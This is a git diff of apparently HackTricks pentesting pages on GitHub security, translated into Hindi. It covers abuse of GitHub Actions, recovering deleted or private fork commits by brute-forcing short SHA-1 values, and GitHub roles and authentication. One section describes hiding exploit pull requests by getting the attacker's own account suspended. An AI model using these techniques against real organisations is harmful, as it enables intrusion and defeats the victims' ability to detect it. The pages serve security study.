तक कि अगर **Github** **क्रियाओं के लॉग में रहस्यमय मानों** का **पता लगाने** और **उन्हें दिखाने से बचने** की कोशिश करता है, तो **अन्य संवेदनशील डेटा** जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, तब तक छिपा नहीं होगा जब तक कि इसे [विशेष रूप से कॉन्फ़िगर](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) नहीं किया गया हो। -## Covering your Tracks +## अपने निशान छुपाना -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) +(तकनीक [**यहां**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) से) सबसे पहले, कोई भी PR जो उठाया गया है, वह Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए स्पष्ट रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **इंटरनेट से एक PR को हटा नहीं सकते**, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो **Github द्वारा निलंबित** हैं, उनके सभी **PRs स्वचालित रूप से हटा दिए जाते हैं** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने **GitHub खाते को निलंबित** कराना होगा या अपने खाते को **फ्लैग** कराना होगा। यह **आपकी सभी गतिविधियों** को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा) -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और आपके पास है, अपने शोषण को github पर अदृश्य बना दिया। > [!WARNING] -> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. +> एक संगठन के लिए यह पता लगाने का एकमात्र तरीका है कि वे लक्षित हुए हैं, SIEM से GitHub लॉग की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा। -## Tools +## उपकरण -The following tools are useful to find Github Action workflows and even find vulnerable ones: +निम्नलिखित उपकरण GitHub Action वर्कफ़्लो खोजने और यहां तक कि कमजोर लोगों को खोजने के लिए उपयोगी हैं: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index ae156de2d..59da712ac 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1,6 +1 @@ # Gh Actions - Artifact Poisoning - - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 024aa5ff8..c9546507f 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1,6 +1 @@ -# GH Actions - Cache Poisoning - - - - - +# GH Actions - कैश पॉइज़निंग diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3cd632bd0..9cef507bc 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,6 +1 @@ # Gh Actions - Context Script Injections - - - - - diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index f19fa699e..cec27db0b 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,60 +1,56 @@ -# Accessible Deleted Data in Github +# Github में पहुँच योग्य हटाई गई डेटा {{#include ../../banners/hacktricks-training.md}} -This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Github से डेटा तक पहुँचने के ये तरीके जो कथित तौर पर हटाए गए थे [**इस ब्लॉग पोस्ट में रिपोर्ट किए गए थे**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). -## Accessing Deleted Fork Data +## हटाए गए फोर्क डेटा तक पहुँच -1. You fork a public repository -2. You commit code to your fork -3. You delete your fork +1. आप एक सार्वजनिक रिपॉजिटरी को फोर्क करते हैं +2. आप अपने फोर्क में कोड कमिट करते हैं +3. आप अपने फोर्क को हटा देते हैं > [!CAUTION] -> The data commited in the deleted fork is still accessible. +> हटाए गए फोर्क में कमिट किया गया डेटा अभी भी पहुँच योग्य है। -## Accessing Deleted Repo Data +## हटाए गए रिपॉजिटरी डेटा तक पहुँच -1. You have a public repo on GitHub. -2. A user forks your repo. -3. You commit data after they fork it (and they never sync their fork with your updates). -4. You delete the entire repo. +1. आपके पास GitHub पर एक सार्वजनिक रिपॉजिटरी है। +2. एक उपयोगकर्ता आपकी रिपॉजिटरी को फोर्क करता है। +3. आप उनके फोर्क करने के बाद डेटा कमिट करते हैं (और वे कभी भी अपने फोर्क को आपके अपडेट के साथ सिंक नहीं करते)। +4. आप पूरी रिपॉजिटरी को हटा देते हैं। > [!CAUTION] -> Even if you deleted your repo, all the changes made to it are still accessible through the forks. +> भले ही आपने अपनी रिपॉजिटरी को हटा दिया हो, इसमें किए गए सभी परिवर्तन अभी भी फोर्क के माध्यम से पहुँच योग्य हैं। -## Accessing Private Repo Data +## निजी रिपॉजिटरी डेटा तक पहुँच -1. You create a private repo that will eventually be made public. -2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public. -3. You make your “upstream” repository public and keep your fork private. +1. आप एक निजी रिपॉजिटरी बनाते हैं जो अंततः सार्वजनिक की जाएगी। +2. आप उस रिपॉजिटरी का एक निजी, आंतरिक संस्करण बनाते हैं (फोर्किंग के माध्यम से) और उन सुविधाओं के लिए अतिरिक्त कोड कमिट करते हैं जिन्हें आप सार्वजनिक नहीं करने जा रहे हैं। +3. आप अपने "अपस्ट्रीम" रिपॉजिटरी को सार्वजनिक बनाते हैं और अपने फोर्क को निजी रखते हैं। > [!CAUTION] -> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public. +> आंतरिक फोर्क बनाए जाने और सार्वजनिक संस्करण सार्वजनिक किए जाने के बीच के समय में आंतरिक फोर्क में धकेले गए सभी डेटा तक पहुँच संभव है। -## How to discover commits from deleted/hidden forks +## हटाए गए/छिपे हुए फोर्क से कमिट कैसे खोजें -The same blog post propose 2 options: +उसी ब्लॉग पोस्ट में 2 विकल्प प्रस्तावित किए गए हैं: -### Directly accessing the commit +### सीधे कमिट तक पहुँच -If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/` +यदि कमिट ID (sha-1) मान ज्ञात है तो इसे `https://github.com///commit/` में पहुँच पाना संभव है। -### Brute-forcing short SHA-1 values +### छोटे SHA-1 मानों का ब्रूट-फोर्सिंग -It's the same to access both of these: +इन दोनों तक पहुँचने का तरीका समान है: - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -And the latest one use a short sha-1 that is bruteforceable. +और अंतिम वाला एक छोटा sha-1 है जो ब्रूटफोर्स किया जा सकता है। -## References +## संदर्भ - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index ae1365a0f..8105fd68c 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -4,191 +4,184 @@ ## Basic Structure -The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. +एक बड़े **कंपनी** का बुनियादी गिटहब वातावरण संरचना एक **उद्यम** है जो **कई संगठनों** का मालिक है और उनमें से प्रत्येक में **कई रिपॉजिटरी** और **कई टीमें** हो सकती हैं। छोटे कंपनियों के पास केवल **एक संगठन और कोई उद्यम** हो सकता है। -From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**. +एक उपयोगकर्ता के दृष्टिकोण से, एक **उपयोगकर्ता** विभिन्न **उद्यमों और संगठनों** का **सदस्य** हो सकता है। उनके भीतर, उपयोगकर्ता के पास **विभिन्न उद्यम, संगठन और रिपॉजिटरी भूमिकाएँ** हो सकती हैं। -Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles. +इसके अलावा, एक उपयोगकर्ता **विभिन्न टीमों** का **भाग** हो सकता है जिनकी विभिन्न उद्यम, संगठन या रिपॉजिटरी भूमिकाएँ हैं। -And finally **repositories may have special protection mechanisms**. +और अंत में, **रिपॉजिटरी में विशेष सुरक्षा तंत्र** हो सकते हैं। ## Privileges ### Enterprise Roles -- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository -- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. +- **Enterprise owner**: इस भूमिका वाले लोग **व्यवस्थापकों का प्रबंधन, उद्यम के भीतर संगठनों का प्रबंधन, उद्यम सेटिंग्स का प्रबंधन, संगठनों के बीच नीति लागू करने** में सक्षम होते हैं। हालाँकि, वे **संगठन सेटिंग्स या सामग्री तक पहुँच नहीं सकते** जब तक कि उन्हें संगठन का मालिक नहीं बनाया जाता या संगठन-स्वामित्व वाली रिपॉजिटरी तक सीधी पहुँच नहीं दी जाती। +- **Enterprise members**: आपके उद्यम द्वारा स्वामित्व वाले संगठनों के सदस्य भी **स्वचालित रूप से उद्यम के सदस्य** होते हैं। ### Organization Roles -In an organisation users can have different roles: +एक संगठन में उपयोगकर्ताओं के पास विभिन्न भूमिकाएँ हो सकती हैं: -- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization. -- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**. -- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information. -- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization. - - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. -- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions. -- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization. +- **Organization owners**: संगठन के मालिकों के पास **आपके संगठन तक पूर्ण प्रशासनिक पहुँच** होती है। इस भूमिका को सीमित किया जाना चाहिए, लेकिन आपके संगठन में दो से कम लोगों के लिए नहीं। +- **Organization members**: **डिफ़ॉल्ट**, गैर-प्रशासनिक भूमिका **संगठन में लोगों** के लिए संगठन सदस्य है। डिफ़ॉल्ट रूप से, संगठन के सदस्यों के पास **कई अनुमतियाँ** होती हैं। +- **Billing managers**: बिलिंग प्रबंधक वे उपयोगकर्ता होते हैं जो **आपके संगठन के लिए बिलिंग सेटिंग्स का प्रबंधन** कर सकते हैं, जैसे भुगतान जानकारी। +- **Security Managers**: यह एक भूमिका है जिसे संगठन के मालिक किसी भी टीम को सौंप सकते हैं। जब लागू किया जाता है, तो यह टीम के प्रत्येक सदस्य को **संगठन में सुरक्षा अलर्ट और सेटिंग्स का प्रबंधन करने, साथ ही सभी रिपॉजिटरी के लिए पढ़ने की अनुमतियाँ** देता है। +- यदि आपके संगठन में एक सुरक्षा टीम है, तो आप सुरक्षा प्रबंधक भूमिका का उपयोग करके टीम के सदस्यों को संगठन तक पहुँच देने के लिए न्यूनतम पहुँच दे सकते हैं। +- **Github App managers**: अतिरिक्त उपयोगकर्ताओं को **संगठन द्वारा स्वामित्व वाले GitHub Apps का प्रबंधन** करने की अनुमति देने के लिए, एक मालिक उन्हें GitHub App प्रबंधक अनुमतियाँ दे सकता है। +- **Outside collaborators**: एक बाहरी सहयोगी वह व्यक्ति है जिसके पास **एक या अधिक संगठन रिपॉजिटरी तक पहुँच है लेकिन वह स्पष्ट रूप से संगठन का सदस्य नहीं है**। -You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +आप इन भूमिकाओं के अनुमतियों की **तुलना** इस तालिका में कर सकते हैं: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) ### Members Privileges -In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**. +_https://github.com/organizations/\/settings/member_privileges_ में आप देख सकते हैं कि **संगठन का हिस्सा होने के नाते उपयोगकर्ताओं के पास क्या अनुमतियाँ होंगी**। -The settings here configured will indicate the following permissions of members of the organisation: +यहाँ कॉन्फ़िगर की गई सेटिंग्स संगठन के सदस्यों की निम्नलिखित अनुमतियों को इंगित करेंगी: -- Be admin, writer, reader or no permission over all the organisation repos. -- If members can create private, internal or public repositories. -- If forking of repositories is possible -- If it's possible to invite outside collaborators -- If public or private sites can be published -- The permissions admins has over the repositories -- If members can create new teams +- सभी संगठन रिपॉजिटरी पर व्यवस्थापक, लेखक, पाठक या कोई अनुमति नहीं होना। +- यदि सदस्यों को निजी, आंतरिक या सार्वजनिक रिपॉजिटरी बनाने की अनुमति है। +- यदि रिपॉजिटरी का फोर्क करना संभव है। +- यदि बाहरी सहयोगियों को आमंत्रित करना संभव है। +- यदि सार्वजनिक या निजी साइटों को प्रकाशित किया जा सकता है। +- रिपॉजिटरी पर व्यवस्थापकों के पास क्या अनुमतियाँ हैं। +- यदि सदस्य नई टीमें बना सकते हैं। ### Repository Roles -By default repository roles are created: +डिफ़ॉल्ट रूप से रिपॉजिटरी भूमिकाएँ बनाई जाती हैं: -- **Read**: Recommended for **non-code contributors** who want to view or discuss your project -- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access -- **Write**: Recommended for contributors who **actively push to your project** -- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions -- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository +- **Read**: **गैर-कोड योगदानकर्ताओं** के लिए अनुशंसित जो आपके प्रोजेक्ट को देखना या चर्चा करना चाहते हैं। +- **Triage**: **योगदानकर्ताओं के लिए अनुशंसित जिन्हें मुद्दों और पुल अनुरोधों का सक्रिय रूप से प्रबंधन करने की आवश्यकता होती है** बिना लिखने की पहुँच के। +- **Write**: योगदानकर्ताओं के लिए अनुशंसित जो **सक्रिय रूप से आपके प्रोजेक्ट में योगदान करते हैं**। +- **Maintain**: **प्रोजेक्ट प्रबंधकों के लिए अनुशंसित जिन्हें रिपॉजिटरी का प्रबंधन करने की आवश्यकता होती है** बिना संवेदनशील या विनाशकारी कार्यों की पहुँच के। +- **Admin**: उन लोगों के लिए अनुशंसित जिन्हें **प्रोजेक्ट तक पूर्ण पहुँच** की आवश्यकता होती है, जिसमें सुरक्षा प्रबंधन या रिपॉजिटरी को हटाने जैसे संवेदनशील और विनाशकारी कार्य शामिल हैं। -You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +आप इस तालिका में प्रत्येक भूमिका के अनुमतियों की **तुलना** कर सकते हैं [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ +आप _https://github.com/organizations/\/settings/roles_ में **अपनी भूमिकाएँ भी बना सकते हैं**। ### Teams -You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team. +आप _https://github.com/orgs/\/teams_ में **एक संगठन में बनाई गई टीमों की सूची** देख सकते हैं। ध्यान दें कि अन्य टीमों के बच्चों को देखने के लिए आपको प्रत्येक माता टीम तक पहुँचने की आवश्यकता है। ### Users -The users of an organization can be **listed** in _https://github.com/orgs/\/people._ +एक संगठन के उपयोगकर्ताओं को _https://github.com/orgs/\/people_ में **सूचीबद्ध** किया जा सकता है। -In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. +प्रत्येक उपयोगकर्ता की जानकारी में आप देख सकते हैं कि **उपयोगकर्ता किस टीम का सदस्य है**, और **उपयोगकर्ता को किन रिपॉजिटरी तक पहुँच है**। ## Github Authentication -Github offers different ways to authenticate to your account and perform actions on your behalf. +Github आपके खाते में प्रमाणित होने और आपकी ओर से क्रियाएँ करने के लिए विभिन्न तरीके प्रदान करता है। ### Web Access -Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). +**github.com** पर पहुँचते समय आप अपने **उपयोगकर्ता नाम और पासवर्ड** (और संभवतः एक **2FA**) का उपयोग करके लॉगिन कर सकते हैं। ### **SSH Keys** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) +आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जिससे संबंधित **निजी कुंजी आपकी ओर से क्रियाएँ करने की अनुमति देती है।** [https://github.com/settings/keys](https://github.com/settings/keys) #### **GPG Keys** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएँ**। [यहाँ सतर्क मोड के बारे में अधिक जानें](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)। ### **Personal Access Tokens** -You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) +आप **एक एप्लिकेशन को अपने खाते तक पहुँच देने के लिए व्यक्तिगत पहुँच टोकन उत्पन्न कर सकते हैं**। व्यक्तिगत पहुँच टोकन बनाते समय, **उपयोगकर्ता** को **अनुमतियाँ** निर्दिष्ट करने की आवश्यकता होती है जो **टोकन** के पास होंगी। [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth Applications -Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. +Oauth एप्लिकेशन आपसे अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी के एक भाग तक पहुँचने या आपको प्रतिनिधित्व करने के लिए** कुछ क्रियाएँ करने के लिए। इस कार्यक्षमता का एक सामान्य उदाहरण **गिटहब के साथ लॉगिन बटन** है जो आप कुछ प्लेटफार्मों पर पा सकते हैं। -- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) -- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications) -- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_ +- आप [https://github.com/settings/developers](https://github.com/settings/developers) में अपनी **Oauth एप्लिकेशन** बना सकते हैं। +- आप [https://github.com/settings/applications](https://github.com/settings/applications) में अपने खाते तक पहुँच रखने वाली सभी **Oauth एप्लिकेशन** देख सकते हैं। +- आप [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) में **Oauth Apps के लिए पूछी जाने वाली स्कोप** देख सकते हैं। +- आप _https://github.com/organizations/\/settings/oauth_application_policy_ में एक **संगठन** में एप्लिकेशनों की तीसरे पक्ष की पहुँच देख सकते हैं। -Some **security recommendations**: +कुछ **सुरक्षा सिफारिशें**: -- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. -- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. -- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. -- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- एक **OAuth App** को हमेशा **GitHub पर सभी GitHub उपयोगकर्ता के रूप में कार्य करना चाहिए** (उदाहरण के लिए, जब उपयोगकर्ता सूचनाएँ प्रदान करते हैं) और केवल निर्दिष्ट स्कोप तक पहुँच के साथ। +- एक OAuth App को एक पहचान प्रदाता के रूप में उपयोग किया जा सकता है, जो प्रमाणित उपयोगकर्ता के लिए "GitHub के साथ लॉगिन" सक्षम करता है। +- **नहीं** बनाएं एक **OAuth App** यदि आप चाहते हैं कि आपका एप्लिकेशन **एकल रिपॉजिटरी** पर कार्य करे। `repo` OAuth स्कोप के साथ, OAuth Apps **प्रमाणित उपयोगकर्ता के सभी रिपॉजिटरी पर कार्य कर सकते हैं**। +- **नहीं** बनाएं एक OAuth App यदि आप अपने **टीम या कंपनी** के लिए एक एप्लिकेशन के रूप में कार्य करना चाहते हैं। OAuth Apps एक **एकल उपयोगकर्ता** के रूप में प्रमाणित होते हैं, इसलिए यदि एक व्यक्ति कंपनी के उपयोग के लिए एक OAuth App बनाता है, और फिर वह कंपनी छोड़ देता है, तो कोई और इसके लिए पहुँच नहीं रखेगा। +- **अधिक** यहाँ [यहाँ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)। ### Github Applications -Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. +Github एप्लिकेशन अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी तक पहुँचने या आपको प्रतिनिधित्व करने के लिए** कुछ विशिष्ट क्रियाएँ करने के लिए। Github Apps में आपको उन रिपॉजिटरी को निर्दिष्ट करना होगा जिन तक एप्लिकेशन की पहुँच होगी। -- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository. -- The GitHub App should **connect to a personal account or an organisation**. -- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps) -- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them -- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_ +- एक GitHub App स्थापित करने के लिए, आपको **संगठन का मालिक या रिपॉजिटरी में व्यवस्थापक अनुमतियाँ** होनी चाहिए। +- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से कनेक्ट करना चाहिए। +- आप [https://github.com/settings/apps](https://github.com/settings/apps) में अपनी खुद की Github एप्लिकेशन बना सकते हैं। +- आप [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) में अपने खाते तक पहुँच रखने वाली सभी **Github एप्लिकेशन** देख सकते हैं। +- ये हैं **Github एप्लिकेशन के लिए API Endpoints** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)। एप्लिकेशन की अनुमतियों के आधार पर, यह उनमें से कुछ तक पहुँच प्राप्त कर सकेगा। +- आप _https://github.com/organizations/\/settings/installations_ में एक **संगठन** में स्थापित एप्लिकेशन देख सकते हैं। -Some security recommendations: +कुछ सुरक्षा सिफारिशें: -- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Make sure the GitHub App integrates with **specific repositories**. -- The GitHub App should **connect to a personal account or an organisation**. -- Don't expect the GitHub App to know and do everything a user can. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. -- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. -- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- एक GitHub App को **एक उपयोगकर्ता से स्वतंत्र रूप से कार्य करना चाहिए** (जब तक एप्लिकेशन [उपयोगकर्ता-से-सरवर](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) टोकन का उपयोग नहीं कर रहा है)। उपयोगकर्ता-से-सरवर पहुँच टोकनों को अधिक सुरक्षित रखने के लिए, आप ऐसे पहुँच टोकन का उपयोग कर सकते हैं जो 8 घंटे बाद समाप्त हो जाएंगे, और एक रिफ्रेश टोकन जो नए पहुँच टोकन के लिए बदला जा सकता है। अधिक जानकारी के लिए, "[उपयोगकर्ता-से-सरवर पहुँच टोकनों को रिफ्रेश करना](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" देखें। +- सुनिश्चित करें कि GitHub App **विशिष्ट रिपॉजिटरी** के साथ एकीकृत है। +- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से कनेक्ट करना चाहिए। +- GitHub App से यह उम्मीद न करें कि वह सब कुछ जानता है और वह सब कुछ कर सकता है जो एक उपयोगकर्ता कर सकता है। +- **यदि आपको केवल "GitHub के साथ लॉगिन" सेवा की आवश्यकता है तो GitHub App का उपयोग न करें**। लेकिन एक GitHub App एक [उपयोगकर्ता पहचान प्रवाह](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) का उपयोग करके उपयोगकर्ताओं को लॉगिन कर सकता है _और_ अन्य चीजें कर सकता है। +- यदि आप अपने एप्लिकेशन का उपयोग GitHub Actions के साथ कर रहे हैं और वर्कफ़्लो फ़ाइलों को संशोधित करना चाहते हैं, तो आपको उपयोगकर्ता की ओर से OAuth टोकन के साथ प्रमाणित होना चाहिए जिसमें `workflow` स्कोप शामिल है। उपयोगकर्ता को उस रिपॉजिटरी पर व्यवस्थापक या लिखने की अनुमति होनी चाहिए जिसमें वर्कफ़्लो फ़ाइल है। अधिक जानकारी के लिए, "[OAuth एप्लिकेशन के लिए स्कोप को समझना](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" देखें। +- **अधिक** यहाँ 